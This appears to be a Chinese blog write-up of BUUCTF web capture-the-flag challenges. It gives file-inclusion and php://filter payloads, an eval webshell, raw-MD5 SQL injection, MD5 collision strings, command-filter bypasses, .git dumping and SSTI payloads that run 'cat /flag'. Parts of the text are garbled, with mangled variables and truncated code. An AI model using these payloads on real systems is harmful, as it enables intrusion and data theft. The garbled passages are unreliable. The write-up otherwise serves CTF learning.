BJDCTF2020

未完待续

Buu

ZJCTF,就这?

看到这题名字还是很不爽的,毕竟我也是个浙江人,不过zjctf,有一说一确实。

BUU上和源题好像有点差别。

进题放出源码:

".file_get_contents($text,'r')."";

if(preg_match("/flag/",$file)){

die("Not now!");

}

include($file); //next.php

}

else{

highlight_file(__FILE__);

}

?>

file_get_contents(t e x t , ′ r ′ ) = = = " I h a v e a d r e a m " ) , 读 取 text,'r')==="I have a dream"), 读取text,′r′)==="Ihaveadream"),读取text文件内容为I have a dream,想到data://伪协议。

看到官方wp还可以远程读取,对不起我是弟弟。

?text=data://text/plain,I%20have%20a%20dream

绕过第一个。

第二个让我们读取next.php ,可以利用filter。

?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php

next.php

出题人的指引下,看了大佬的一篇文章。

next.php?\S*=${phpinfo()}

可以用,poc直接打。

next.php?\S*=${eval($_POST[cmd])}

连上木马后找到flag

easy_md5

我注入真菜

F12 看到有个

hint: select * from 'admin' where password=md5($pass,true)

得到sql语句.

Leet More 2010 Jailbreak writeup

总结: ffifdyop

这个字符串其哈希值:276f722736c95d99e921722cf9ed621c

字符串: 'or’6

select * from admin where password=’‘or’6’

相当于select * from admin where password=’'or 1 实现注入.

然后跳转到新页面

审查页面元素:

$a = $GET['a'];

$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){

// wow, glzjin wants a girl friend.

赵总又来找女朋友了!

get传A和b都是0e开头就行

payload:

?a=s155964671a&b=2120624

跳转到第三个页面.

要求我们post三个,但是他和上面不同,上面那个是两个等号,下面是三个等号,全等.可以考虑MD5生日攻击,还有MD5不支持数组,如果你param1和param2是数组传入,则MD5等号两边都是false也成立.

param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

或者直接数组传入就行param1[]=1,param2[]=2

参考网址

postman的话,我这边要改成raw格式才能撞进去,我去!!注意格式问题.

感谢晓黑

中出一个安洵杯 easy_web

被晓黑老哥安利了下easy_web,题型差不多正好做一下。

查看元素,发现题面就img,发现下面有一行md5 is funny ~,然后就下意识得看了下url:

/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

猜测img后面跟的是文件名,cmd应该是后期要执行的命令,然后我去试了下hex,解不开,然后base64也没解开,然后有点困就去睡觉了。。。。

早上醒过来,越想越不应该,不可能解不开,然后果然忘记补等号了原先是27位,不能能被整除,奶奶的。两层base64接开后,再用hex,得到555.png

TXpVek5UTTFNbVUzTURabE5qYz0->MzUzNTM1MmU3MDZlNjc=->3535352e706e67->555.png

反过来

index.php->696e6465782e706870->Njk2ZTY0NjU3ODJlNzA2ODcw->TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

http://16e5095c-d64f-49f0-a553-ef6564d69eea.node3.buuoj.cn/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

然后就会得到一传base64加密得index.php

data:image/gif;base64,PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=

base64解一下

';

die("xixi~ no flag");

} else {

$txt = base64_encode(file_get_contents($file));

echo "

";

echo "

";

}

echo $cmd;

echo "

";

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|/i", $cmd)) {

echo("forbid ~");

echo "

";

} else {

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {

echo `$cmd`;

} else {

echo ("md5 is funny ~");

}

}

?>

前半部分就是刚才的东西,后半部分是讲cmd得,果然是命令执行。a和b套刚刚的就行了,正则我看的头疼。。试了个dir和dir%20/发现flag在目录下,然后试了个ca\t发现可以用。

Mark loves cat

打开页面发现有用的信息都没得,然后fuzz一下用dirb

dirb http://31d76b5b-06b8-4911-9a08-b2d9d71eb368.node3.buuoj.cn/

发现.git源码泄露。

python GitHack.py http://31d76b5b-06b8-4911-9a08-b2d9d71eb368.node3.buuoj.cn/.git

得到flag.php和index.php.

flag.php

index.php

$y){

$$x = $y;

}

foreach($_GET as $x => $y){

$$x = $$y;

}

foreach($_GET as $x => $y){

if($_GET['flag'] === $x && $x !== 'flag'){

exit($handsome);

}

}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){

exit($yds);

}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){

exit($is);

}

echo "the flag is: ".$flag;

可以看到里面用到可变变量,第二个条件最简单,只要保证post的flag和get的flag变量没被用过就行。输出的y d s , 所 以 我 们 只 要 g e t 请 求 ‘ y d s = f l a g ‘ 就 行 了 , 就 会 把 ‘ yds,所以我们只要get请求`yds=flag`就行了,就会把`yds,所以我们只要get请求‘yds=flag‘就行了,就会把‘x=yds,y = f l a g ‘ = = > ‘ y=flag`==>`y=flag‘==>‘yds=f l a g ‘ , 然 后 flag`,然后flag‘,然后yds就会是flag。

PHP可变变量

The_Mystery_of_ip

点进去发现三个,index.php、hint.php、flag.php。一开始没发现hint.php的提示,我这眼神,不过我看到flag.php的ip,然后试了下X-Forwarded-For、client-ip。发现ip可控,想到之前打的一题XFF注入的题,然后发现没有。看Y1ng表哥博客发现ssti注入,我傻了,第一次遇到这样也可以ssti注入的。学到了!!!

pyload:

X-Forwarded-For: 127.0.0.1{{system('cat /flag')}}

Cookie is so stable

页面元素和上一题差不多,flag.php变成输入的,想到上一题是ssti注入,突然感觉这题可能也是注入题,然后输入了{{7*7}},果然!

关于ssti注入(二向箔安全学院)

直接拿这篇的payloadl来打:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

发现可以直接打。

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

服务器会将我们输入的注入编码后变成cookie,我们直接把注入放在cookie里就行了!

EasySearch

打了半天没思路,看了别的表哥的wp,发现原先题目有提示vim泄露的,Buu复现好像没提示,index.php.swp拿到源码。

可以看到要求username不为空,并且我们输入的密码MD5,前六位要与6d0bc1相等。

import hashlib

list='0123456789'

for a in list:

for b in list:

for c in list:

for d in list:

for e in list:

for f in list:

for g in list:

str1 = (a+b+c+d+e+f+g)

value = hashlib.md5(str1.encode()).hexdigest()

if value[0:6] == '6d0bc1':

print(str1)

跑出 三个数字2020666、2305004、9162671。随便用一个!穿后返回了个地址

访问一下,发现刚刚username被用了

省赛的时候考过ssi解析漏洞,上ssi解析漏洞:

访问了根目录和当前目录发现没有flag文件,然后访问了下上级目录

发现flag文件,直接打,得到flag。

文章首发

lscat cnindex php,BJDCTF2020--web-复现相关推荐

  1. 2022 lineCTF WEB复现WriteUp

    lineCTF WEB复现WriteUp Gotm is_admin == true就给flag,需要伪造token,需要秘钥才行 再往下看,经典SSTI 如果能控制acc也就是id为{{.}},就能 ...

  2. i春秋2020新春公益赛WEB复现Writeup

    i春秋2020新春公益赛WEB复现Writeup 说实话这个比赛打的我是一点毛病都没有,还是觉得自己掌握的东西太少了,,, 尤其是sql注入,都被大佬们玩出花来了,可能自己太菜,,,哭了!!! 关于S ...

  3. 2022DASCTF Apr X FATE 防疫挑战赛 部分web复现

    warmup-php 一个PHP代码审计审计题,给的代码量有点大,第一眼看下去容易劝退,分别有四个文件. Base.php<?phpclass Base {public function __g ...

  4. [BJDCTF 2nd] Web复现 wp

    文章目录 [BJDCTF 2nd] fake google [BJDCTF 2nd]old-hack [BJDCTF 2nd]假猪套天下第一 [BJDCTF 2nd]duangShell [BJDCT ...

  5. [NSSCTF][SCTF 2021]WEB复现

    感谢NSSCTF提供复现环境 loginme middleware.go package middlewareimport ("github.com/gin-gonic/gin" ...

  6. [CTF]SCTF2021 WEB复现(详细版)

    前言 认真复现还是收获挺多的,做这些就算看wp也会卡很久的题目才容易提高.最后感谢下NSSCTF平台提供的靶机,虽然flag只有一半 Loginme 下载附件得到源码,题目让我们本地访问,也就是要伪造 ...

  7. 『CTF Web复现』[BUUCTF 2018]Online Tool

    文章目录 利用点 代码审计 解题 nmap写文件 escapeshellarg() + escapeshellcmd()使用不当 Payload 完 利用点 nmap写文件 escapeshellar ...

  8. b01lers CTF web 复现

    warmup 按照提示依次 base64 加密后访问,可以访问 ./flag.txt,也就是 Li9mbGFnLnR4dA== . from base64 import b64decode impor ...

  9. 2022DASCTF X SU 三月春季挑战赛 web复现

    目录 ezpop Calc: Upgdstore: ezpop <?phpclass crow {public $v1;public $v2;function eval() {echo new ...

最新文章

  1. robotium诡异的Instrumentation run failed due to 'java.lang.ClassNo
  2. 每日温度—leetcode739
  3. python网络编程要学吗_总算发现如何学习python网络编程
  4. 测试机器大小端的方法
  5. 基于docker在Ubuntu上搭建TensorFlow-GPU计算环境
  6. 软件工程—个人作业(8)
  7. 晨哥真有料丨常见的话题终结者与破解方法
  8. 在Blazor中构建数据库应用程序——第1部分——项目结构和框架
  9. 移动大数据时代:无线网络的挑战与机遇
  10. LiveGBS国标GB/T28181流媒体平台华为IPC设备GB35114配置接入说明
  11. linux录制声卡声音_Linux ALSA 多声卡操作
  12. 01数据分析与Excel
  13. 【论文笔记】AutoML: A survey of the state-of-the-art(下篇)
  14. 世界尽头与冷酷仙境(村上春树)-摘录
  15. python画超长图-python实现按长宽比缩放图片
  16. 天耀18期 – 6.面向对象-类和对象【作业】.
  17. Windows10windows server 2012r2作为slave 用jenkins部署微信小程序自动化打包
  18. itext生成pdf文档时给文档添加背景图片
  19. 微信小程序-登录(wx.login)
  20. linux修改主机名命令

热门文章

  1. DVWA 之 CSP Bypass
  2. 自我学习-逆向解析BOSS直聘cookie字段 _zp_stoken__加密
  3. Java实现多级目录文件下载压缩包
  4. [LeetCode By Python]167. Two Sum II - Input array is sorted
  5. 【教程】UE4模拟火箭弹
  6. 连接池-DBCPUtils工具类(dbcp)
  7. Flutter,Android,java现在又来了个国产鸿蒙,字节跳动Android面试
  8. 流媒体转发服务器的数据传输原理,23.1.1 流媒体传输的基本原理
  9. 午间提示早盘三市分歧开盘,沪市深市表现较弱
  10. .net程序员工作两年总结